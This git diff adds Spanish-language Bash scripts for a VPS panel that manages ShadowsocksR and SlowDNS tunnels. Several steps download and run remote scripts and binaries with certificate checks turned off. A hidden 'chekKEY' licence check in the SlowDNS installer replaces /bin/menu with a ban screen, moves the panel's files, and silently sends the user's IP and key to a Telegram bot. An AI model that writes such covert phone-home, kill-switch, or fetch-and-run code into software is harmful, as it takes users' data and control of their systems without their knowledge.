[\033[1;32m/root/mudb.json\033[1;31m]" +msg -bar +} +RestaurarBackUp_ssrr(){ +clear +msg -bar +msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")" +msg -bar +msg -azu "Recuerde tener minimo una cuenta ya creada" +msg -azu "Copie el archivo mudb.json en la carpeta /root" +read -p " ►► Presione enter para continuar ◄◄" +msg -bar +msg -azu "$(fun_trans "Procedimiento Hecho con Exito")" +read -p " ►► Presione enter para Reiniciar Panel SSRR ◄◄" +msg -bar +mv /root/mudb.json /usr/local/shadowsocksr/mudb.json +Restart_SSR +msg -bar +} + +# Otros +Other_functions(){ +clear +msg -bar + echo && echo -e " Que vas a realizar? +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR + ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder) + ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent) + ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ! + ${Tip} Speed y LotServer no pueden coexistir! +———————————— + ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables) + ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables) +———————————— + ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR + —— Modo bajo o verboso.. + ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR + —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente. +———————————— + ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR + ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo +msg -bar + stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num + [[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1 + if [[ ${other_num} == "1" ]]; then + Configure_BBR + elif [[ ${other_num} == "2" ]]; then + Configure_Server_Speeder + elif [[ ${other_num} == "3" ]]; then + Configure_LotServer + elif [[ ${other_num} == "4" ]]; then + BanBTPTSPAM + elif [[ ${other_num} == "5" ]]; then + UnBanBTPTSPAM + elif [[ ${other_num} == "6" ]]; then + Set_config_connect_verbose_info + elif [[ ${other_num} == "7" ]]; then + Set_crontab_monitor_ssr + elif [[ ${other_num} == "8" ]]; then + BackUP_ssrr + elif [[ ${other_num} == "9" ]]; then + RestaurarBackUp_ssrr + else + echo -e "${Error} Por favor numero [1-9]" && exit 1 + fi + +} +#ProhibidoBT PT SPAM +BanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall + rm -rf ban_iptables.sh +} +#Desbloquear BT PT SPAM +UnBanBTPTSPAM(){ + wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall + rm -rf ban_iptables.sh +} +Set_config_connect_verbose_info(){ +clear +msg -bar + SSR_installation_status + [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1 + connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` + if [[ ${connect_verbose_info} = "0" ]]; then + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexin + registro de errores)${Font_color_suffix}?[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="1" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}" +msg -bar + echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]" + stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny + [[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n" + if [[ ${connect_verbose_info_ny} == [Yy] ]]; then + ssr_connect_verbose_info="0" + Modify_config_connect_verbose_info + Restart_SSR + else + echo && echo " Cancelado ..." && echo + fi + fi +} +Set_crontab_monitor_ssr(){ +clear +msg -bar + SSR_installation_status + crontab_monitor_ssr_status=$(crontab -l|grep "ssrmu.sh monitor") + if [[ -z "${crontab_monitor_ssr_status}" ]]; then + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}" +msg -bar + echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_start + else + echo && echo " Cancelado ..." && echo + fi + else + echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}" +msg -bar + echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny + [[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n" + if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then + crontab_monitor_ssr_cron_stop + else + echo && echo " Cancelado ..." && echo + fi + fi +} +crontab_monitor_ssr(){ + SSR_installation_status + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file} + /etc/init.d/ssrmu start + sleep 1s + check_pid + if [[ -z ${PID} ]]; then + echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + fi + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0 + fi +} +crontab_monitor_ssr_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!" + fi +} +crontab_monitor_ssr_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!" + fi +} +Update_Shell(){ +clear +msg -bar + echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..." + sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0 + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + cd "${file}" + if [[ $sh_new_type == "github" ]]; then + wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh + fi + echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !" + fi + exit 0 + +} +# Mostrar el estado del menu +menu_status(){ +msg -bar + if [[ -e ${ssr_folder} ]]; then + check_pid + if [[ ! -z "${PID}" ]]; then + echo -e " VPS-MX By @Kalix1\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}" + fi + cd "${ssr_folder}" + else + echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}" + fi +} +check_sys +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1 +action=$1 +if [[ "${action}" == "clearall" ]]; then + Clear_transfer_all +elif [[ "${action}" == "monitor" ]]; then + crontab_monitor_ssr +else +echo -e "\033[1;37m =====>>►► 🐲 PANEL VPS•MX 🐲 ◄◄<<===== \033[1;37m" +msg -bar +echo -e " Controlador de ShadowSock-R ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR + ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR + ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR + ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20) +————————————— + ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta + ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion + ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario + ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario + ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado +—————————————— + ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR + ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR + ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR + ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR +————————————— + ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones + ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script +$(msg -bar) + ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR" + + menu_status + msg -bar + stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num + msg -bar +case "$num" in + 1) + Install_SSR + ;; + 2) + Update_SSR + ;; + 3) + Uninstall_SSR + ;; + 4) + Install_Libsodium + ;; + 5) + View_User + ;; + 6) + View_user_connection_info + ;; + 7) + Modify_Config + ;; + 8) + Manually_Modify_Config + ;; + 9) + Clear_transfer + ;; + 10) + Start_SSR + ;; + 11) + Stop_SSR + ;; + 12) + Restart_SSR + ;; + 13) + View_Log + ;; + 14) + Other_functions + ;; + 15) + Update_Shell + ;; + 16) + exit 1 + ;; + *) + echo -e "${Error} Porfavor use numeros del [1-16]" + msg -bar + ;; +esac +fi \ No newline at end of file diff --git a/Recursos/test/SlowDNS.sh b/Recursos/test/SlowDNS.sh new file mode 100644 index 0000000..e9a6e9e --- /dev/null +++ b/Recursos/test/SlowDNS.sh @@ -0,0 +1,362 @@ +#!/bin/bash +clear +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## +#ADM_inst="/ADMcgh/slow/dnsi" && [[ ! -d ${ADM_inst} ]] && mkdir ${ADM_inst} +#ADM_inst="/ADMcgh/slow/dnsi" && [[ ! -d ${ADM_inst} ]] && mkdir ${ADM_inst} +[[ ! -d /etc/adm-lite/slow/ ]] && mkdir /etc/adm-lite/slow +ADM_slow="/etc/adm-lite/slow/dnsi" && [[ ! -d ${ADM_slow} ]] && mkdir ${ADM_slow} +Key="$(cat /etc/cghkey)" && _Key='/etc/cghkey' +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## +#${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## + +#FELICIDADES, NUNCA DEJES DE APRENDER + +_Key='/etc/cghkey' + +clear + +[[ ! -e ${_Key} ]] && exit + +clear +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +[[ -z ${IP} ]] && IP=$(wget -qO- ifconfig.me) +Key="$(cat /etc/cghkey)" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' + +cat </bin/menu +clear && clear +echo -e "\n\n\033[1;31m==================================================\n ¡¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR! \n==================================================\n ¡¡ FECHA DE BANEO :$(date +%d/%m/%Y) HORA :$(date +%H:%M:%S) \n==================================================\n\n¡¡ ${mss_} \n\n==================================================\n" +echo -e " \e[1;32m --- SI CONSIDERA QUE FUE UN ERROR --- " | pv -qL 60 +echo -e " \e[1;32m -- ${mss_} -- " | pv -qL 60 +echo -e "\n \e[1;93m --- TECLEA \e[1;93m --- \e[1;97mcgh -fix\e[1;93m --- " | pv -qL 50 +echo -e "\n\033[1;31m==================================================\n\n" +#echo "/etc/adm-lite/menu" > /bin/menu && chmod +x /bin/menu +EOF +rm -f /etc/folteto +mv etc/adm-lite/* /bin/ejecutar/Ubam + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} DETECCUION EN SlowDNS ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" KEY : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ${flech} Selecione una Opcion: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +info(){ + clear + nodata(){ + msg -bar + msg -ama " !SIN INFORMACION SLOWDNS!" + read -p "ENTER PARA CONTINUAR" + exit 0 + } + if [[ -e ${ADM_slow}/domain_ns ]]; then + ns=$(cat ${ADM_slow}/domain_ns) + if [[ -z "$ns" ]]; then + nodata + fi + else + nodata + fi + + if [[ -e ${ADM_slow}/server.pub ]]; then + key=$(cat ${ADM_slow}/server.pub) + if [[ -z "$key" ]]; then + nodata + fi + else + nodata + fi + + msg -bar + msg -ama " DATOS DE SU CONECCION SLOWDNS" + msg -bar + msg -ama "Su NameServer: $(cat ${ADM_slow}/domain_ns)" + msg -bar + msg -ama "Su Llave: $(cat ${ADM_slow}/server.pub)" msg -bar + read -p "ENTER PARA CONTINUAR" + } + + drop_port(){ + local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") + local NOREPEAT + local reQ + local Port + unset DPB + while read port; do + reQ=$(echo ${port}|awk '{print $1}') + Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}') + [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue + NOREPEAT+="$Port\n" + case ${reQ} in + sshd|dropbear|stunnel4|stunnel|trojan|v2ray|xray|python|python3|openvpn|node|squid|squid3|sslh|snell-ser|ss-server|obfs-serv|trojan-go)DPB+=" $reQ:$Port";; + *) continue;; + esac + done <<< "${portasVAR}" + } + + ini_slow(){ + msg -bra "INSTALADOR SLOWDNS" + drop_port + n=1 + for i in $DPB; do + proto=$(echo $i|awk -F ":" '{print $1}') + proto2=$(printf '%-12s' "$proto") + port=$(echo $i|awk -F ":" '{print $2}') + echo -e " $(msg -verd "[$n]") $(msg -verm2 ">") $(msg -ama " $(echo -e " ${flech} $proto2 "| tr [:lower:] [:upper:])")$(msg -azu "$port")" + drop[$n]=$port + dPROT[$n]=$proto2 + num_opc="$n" + let n++ + done + msg -bar + opc=$(selection_fun $num_opc) + echo "${drop[$opc]}" > ${ADM_slow}/puerto + echo "${dPROT[$opc]}" > ${ADM_slow}/protc + PORT=$(cat ${ADM_slow}/puerto) + PRT=$(cat ${ADM_slow}/protc) + msg -bra " INSTALADOR SLOWDNS " + msg -bar + echo -e " $(msg -ama "Redireccion SlowDns:") $(msg -verd "$(echo -e "${PRT}" | tr [:lower:] [:upper:])") : $(msg -verd "$PORT") $(msg -ama " -> ") $(msg -verd "5300")" + msg -bar + [[ -e /dominio_NS.txt && ! -e ${ADM_slow}/domain_ns ]] && cp /dominio_NS.txt ${ADM_slow}/domain_ns + [[ -e ${ADM_slow}/domain_ns ]] && NS1=$(cat < ${ADM_slow}/domain_ns) || unset NS1 NS + unset NS + [[ -z $NS1 ]] && { + while [[ -z $NS ]]; do + msg -bar + echo -ne "\e[1;31m TU DOMINIO NS \e[1;37m: " + read NS + tput cuu1 && tput dl1 + done + } || { + msg -bar + echo -e "\e[1;31m TIENES UN DOMINIO NS YA REGISTRADO \e[1;37m " + echo -e "\e[1;32m TU NS ES : ${NS1} \e[1;37m " + echo -e " SI QUIERES UTILIZARLO, SOLO PRESIONA ENTER " + echo -e " CASO CONTRARIO DIJITA TU NUEVO NS " + msg -bar + echo -ne "\e[1;31m TU DOMINIO NS \e[1;37m: " + read NS + [[ -z $NS ]] && NS="${NS1}" + tput cuu1 && tput dl1 + echo "$NS" > ${ADM_slow}/domain_ns + } + echo "$NS" > ${ADM_slow}/domain_ns + echo -e " $(msg -ama "NAME SERVER:") $(msg -verd "$NS")" + msg -bar + chekKEY &> /dev/null 2>&1 + if [[ ! -e ${ADM_inst}/dns-server ]]; then + msg -ama " Descargando binario...." + [[ $(uname -m 2> /dev/null) != x86_64 ]] && { + if wget -O ${ADM_inst}/dns-server https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SlowDNS/autoStart-ARM &>/dev/null ; then + chmod +x ${ADM_inst}/dns-server + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion cancelada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } || { + if wget -O ${ADM_inst}/dns-server https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/SlowDNS/autoStart-x86-64 &>/dev/null ; then + chmod +x ${ADM_inst}/dns-server + msg -verd "[OK]" + else + msg -verm "[fail]" + msg -bar + msg -ama "No se pudo descargar el binario" + msg -verm "Instalacion canselada" + read -p "ENTER PARA CONTINUAR" + exit 0 + fi + } + msg -bar + fi + [[ -e "${ADM_slow}/server.pub" ]] && pub=$(cat ${ADM_slow}/server.pub) + if [[ ! -z "$pub" ]]; then + echo -ne "$(msg -ama " Usar clave existente [S/N]: ")" + read ex_key + case $ex_key in + s|S|y|Y) tput cuu1 && tput dl1 + echo -e " $(msg -ama "KEY.PUB:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";; + n|N) tput cuu1 && tput dl1 + rm -rf ${ADM_slow}/server.key + rm -rf ${ADM_slow}/server.pub + ${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null + echo -e " $(msg -ama "KE:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")";; + *);; + esac + else + rm -rf ${ADM_slow}/server.key + rm -rf ${ADM_slow}/server.pub + ${ADM_inst}/dns-server -gen-key -privkey-file ${ADM_slow}/server.key -pubkey-file ${ADM_slow}/server.pub &>/dev/null + echo -e " $(msg -ama "KEY.PUB:") $(msg -verd "$(cat ${ADM_slow}/server.pub)")" + fi + msg -bar + msg -azu "..._SLOWDNS ACTIVADO_..." + iptables -I INPUT -p udp --dport 5300 -j ACCEPT + iptables -t nat -I PREROUTING -p udp --dport 53 -j REDIRECT --to-ports 5300 + if screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; then + #------------------------- + [[ $(grep -wc "slowdns" /bin/autoboot) = '0' ]] && { + echo -e "netstat -au | grep -w 5300 > /dev/null || { screen -r -S 'slowdns' -X quit; screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; }" >>/bin/autoboot + } || { + sed -i '/slowdns/d' /bin/autoboot + echo -e "netstat -au | grep -w 5300 > /dev/null || { screen -r -S 'slowdns' -X quit; screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file ${ADM_slow}/server.key $NS 127.0.0.1:$PORT ; }" >>/bin/autoboot + } + #crontab -l > /root/cron + #echo "@reboot /bin/autoboot" >> /root/cron + #crontab /root/cron + service cron restart + #------------------------- + msg -verd " Con Exito!!!" + msg -bar + else + msg -verm " Con Fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + reset_slow(){ + clear + msg -bar + msg -ama " Reiniciando SlowDNS...." + screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill + NS=$(cat ${ADM_slow}/domain_ns) + PORT=$(cat ${ADM_slow}/puerto) + if screen -dmS slowdns ${ADM_inst}/dns-server -udp :5300 -privkey-file /root/server.key $NS 127.0.0.1:$PORT ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo SlowDNS...." + if screen -ls | grep slowdns | cut -d. -f1 | awk '{print $1}' | xargs kill ; then + for pidslow in $(screen -ls | grep ".slowdns" | awk {'print $1'}); do + screen -r -S "$pidslow" -X quit + done + [[ $(grep -wc "slowdns" /bin/autoboot) != '0' ]] && { + sed -i '/slowdns/d' /bin/autoboot + } + screen -wipe >/dev/null + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + read -p "ENTER PARA CONTINUAR" + } + + remove_slow(){ + stop_slow + rm -rf /ADMcgh/slow/* + } + +while true; do +[[ -e ${ADM_slow}/protc ]] && PRT=$(cat ${ADM_slow}/protc | tr [:lower:] [:upper:]) || PRT='NULL' +[[ -e ${ADM_slow}/puerto ]] && PT=$(cat ${ADM_slow}/puerto) || PT='NULL' +[[ $(ps x | grep dns-server | grep -v grep) ]] && MT=$(msg -verd "ACTIVO!!!" ) || MT=$(msg -verm "INACTIVO!!!") + msg -bar + tittle + msg -ama " INSTALADOR SLOWDNS | @drowkid01${p1t0}Plus" + msg -bar # + echo -e " SlowDNS +" "${PRT} ""->" "${PT}" "| ESTADO -> ${MT}" + msg -bar + #${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## #${mbar2} ## #${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ###${mbar2} ## + #[[ $(uname -m 2> /dev/null) != x86_64 ]] && { +#echo -e "\033[1;32mΔ SlowDNS no compatible en procesadores ARM " +#echo -e "\033[1;32mΔ Motor no disponible en ARM by @drowkid01 " +#msg -bar +#echo -e "\033[1;32mΔ Visita https://t.me/ChumoGH_ADM , para detalles " +#msg -bar +#read -p "ENTER PARA CONTINUAR" +#chekKEY &> /dev/null 2>&1 +#exit +#} +msg -bar + + menu_func "Instalar SlowDns" "$(msg -verd "Ver Informacion")" "$(msg -ama "Reiniciar SlowDns")" "$(msg -verm2 "Detener SlowDns")" "$(msg -verm2 "Remover SlowDns")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 5) + case $opcion in + 1)ini_slow;; + 2)info;; + 3)reset_slow;; + 4)stop_slow;; + 5)remove_slow;; + 0)break;; + esac +done + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".")txt[$i]="x";; +"x")txt[$i]=".";; +"5")txt[$i]="s";; +"s")txt[$i]="5";; +"1")txt[$i]="@";; +"@")txt[$i]="1";; +"2")txt[$i]="?";; +"?")txt[$i]="2";; +"4")txt[$i]="0";; +"0")txt[$i]="4";; +"/")txt[$i]="K";; +"K")txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} diff --git a/Recursos/test/SockPython.sh b/Recursos/test/SockPython.sh new file mode 100644 index 0000000..8e1ccce --- /dev/null +++ b/Recursos/test/SockPython.sh @@ -0,0 +1,1151 @@ +#!/bin/bash + +_Key='/etc/cghkey' 